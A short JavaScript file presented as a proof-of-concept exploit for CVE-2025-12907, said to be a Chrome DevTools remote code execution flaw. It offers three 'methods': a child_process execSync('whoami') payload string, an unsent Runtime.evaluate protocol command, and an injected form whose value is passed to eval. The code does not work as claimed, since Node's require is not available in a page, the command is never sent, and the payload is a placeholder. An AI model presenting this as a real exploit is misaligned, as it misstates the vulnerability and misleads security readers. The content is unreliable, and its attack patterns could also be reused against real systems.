CVE-2025-12907

// CVE-2025-12907 PoC - Chrome DevTools RCE via Insufficient Input Validation // This PoC demonstrates the insufficient validation vulnerability in DevTools // Note: This is a conceptual PoC for educational purposes only // Method 1: Using DevTools Console with malicious input const maliciousInput = ` // Attempt to execute code through DevTools console try { // The vulnerability allows unvalidated input to be processed const payload = require('child_process').execSync('whoami'); console.log('Executed payload:', payload.toString()); } catch(e) { console.log('Error:', e.message); } `; // Method 2: Exploiting DevTools protocol async function exploitDevTools() { const targetUrl = 'https://vulnerable-site.com'; // Craft malicious DevTools command const maliciousCommand = { id: 1, method: 'Runtime.evaluate', params: { expression: maliciousInput, userGesture: true } }; console.log('Sending malicious DevTools command...'); return maliciousCommand; } // Method 3: Social engineering approach const socialEngineeringPayload = ` // Auto-open DevTools and inject code window.devtoolsForm = document.createElement('form'); window.devtoolsForm.innerHTML = '<input name="cmd" value="malicious_code">'; document.body.appendChild(window.devtoolsForm); // Trigger DevTools interaction setTimeout(() => { // The insufficient validation allows code execution eval(document.forms[0].cmd.value); }, 1000); `; // Export for testing module.exports = { exploitDevTools, maliciousInput, socialEngineeringPayload };
